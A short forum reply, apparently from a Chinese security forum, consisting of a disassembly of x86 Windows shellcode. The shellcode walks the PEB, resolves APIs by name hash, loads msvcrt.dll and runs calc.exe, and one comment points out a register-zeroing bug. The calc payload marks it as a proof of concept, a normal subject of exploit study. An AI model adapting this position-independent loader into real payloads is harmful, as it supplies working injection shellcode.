能力值:
( LV3,RANK:20 )
|
-
-
2 楼
0042EB18 56 push esi
0042EB19 64 8B 35 30 00 00 00 mov esi,dword ptr fs:[30h]
0042EB20 8B 76 0C mov esi,dword ptr [esi+0Ch]
0042EB23 8B 76 1C mov esi,dword ptr [esi+1Ch]
0042EB26 8B 46 08 mov eax,dword ptr [esi+8]
0042EB29 8B 7E 20 mov edi,dword ptr [esi+20h]
0042EB2C 8B 36 mov esi,dword ptr [esi]
0042EB2E 66 39 4F 18 cmp word ptr [edi+18h],cx //这里应该ecx置零,decoder部分修改了cx
0042EB32 75 F2 jne shell+0Eh (0042eb26)
0042EB34 55 push ebp
0042EB35 83 EC 20 sub esp,20h
0042EB38 8B EC mov ebp,esp
0042EB3A 89 45 04 mov dword ptr [ebp+4],eax
0042EB3D 68 32 74 91 0C push 0C917432h
0042EB42 50 push eax
0042EB43 E8 43 00 00 00 call shell+73h (0042eb8b)
0042EB48 68 6C 6C 00 00 push 6C6Ch
0042EB4D 68 72 74 2E 64 push 642E7472h
0042EB52 68 6D 73 76 63 push 6376736Dh
0042EB57 8B CC mov ecx,esp
0042EB59 51 push ecx
0042EB5A FF D0 call eax
0042EB5C 68 0C A0 D3 2B push 2BD3A00Ch
0042EB61 50 push eax
0042EB62 E8 24 00 00 00 call shell+73h (0042eb8b)
0042EB67 6A 00 push 0
0042EB69 68 2E 65 78 65 push 6578652Eh
0042EB6E 68 63 61 6C 63 push 636C6163h
0042EB73 8B D4 mov edx,esp
0042EB75 52 push edx
0042EB76 FF D0 call eax
0042EB78 68 63 89 D1 4F push 4FD18963h
0042EB7D 8B 4D 04 mov ecx,dword ptr [ebp+4]
0042EB80 51 push ecx
0042EB81 E8 05 00 00 00 call shell+73h (0042eb8b)
0042EB86 6A 01 push 1
0042EB88 FF D0 call eax
0042EB8A C3 ret
0042EB8B 8B F4 mov esi,esp
0042EB8D 83 C6 04 add esi,4
0042EB90 55 push ebp
0042EB91 8B 2E mov ebp,dword ptr [esi]
0042EB93 8B 45 3C mov eax,dword ptr [ebp+3Ch]
0042EB96 8B 54 05 78 mov edx,dword ptr [ebp+eax+78h]
0042EB9A 03 D5 add edx,ebp
0042EB9C 8B 4A 18 mov ecx,dword ptr [edx+18h]
0042EB9F 8B 5A 20 mov ebx,dword ptr [edx+20h]
0042EBA2 03 DD add ebx,ebp
0042EBA4 52 push edx
0042EBA5 8B 7E 04 mov edi,dword ptr [esi+4]
0042EBA8 8B 56 08 mov edx,dword ptr [esi+8]
0042EBAB 49 dec ecx
0042EBAC 51 push ecx
0042EBAD 8B 34 8B mov esi,dword ptr [ebx+ecx*4]
0042EBB0 03 F5 add esi,ebp
0042EBB2 33 D2 xor edx,edx
0042EBB4 0F BE 06 movsx eax,byte ptr [esi]
0042EBB7 3A C4 cmp al,ah
0042EBB9 74 0F je shell+0B2h (0042ebca)
0042EBBB 8B CA mov ecx,edx
0042EBBD C1 C1 19 rol ecx,19h
0042EBC0 C1 CA 07 ror edx,7
0042EBC3 0B D1 or edx,ecx
0042EBC5 03 D0 add edx,eax
0042EBC7 46 inc esi
0042EBC8 EB EA jmp shell+9Ch (0042ebb4)
0042EBCA 3B D7 cmp edx,edi
0042EBCC 59 pop ecx
0042EBCD 74 04 je shell+0BBh (0042ebd3)
0042EBCF E2 DB loop shell+94h (0042ebac)
0042EBD1 EB 16 jmp shell+0D1h (0042ebe9)
0042EBD3 5A pop edx
0042EBD4 8B 5A 24 mov ebx,dword ptr [edx+24h]
0042EBD7 03 DD add ebx,ebp
0042EBD9 66 8B 0C 4B mov cx,word ptr [ebx+ecx*2]
0042EBDD 8B 5A 1C mov ebx,dword ptr [edx+1Ch]
0042EBE0 03 DD add ebx,ebp
0042EBE2 8B 04 8B mov eax,dword ptr [ebx+ecx*4]
0042EBE5 03 C5 add eax,ebp
0042EBE7 5D pop ebp
0042EBE8 C3 ret
0042EBE9 C3 ret
0042EBEA 90 nop
|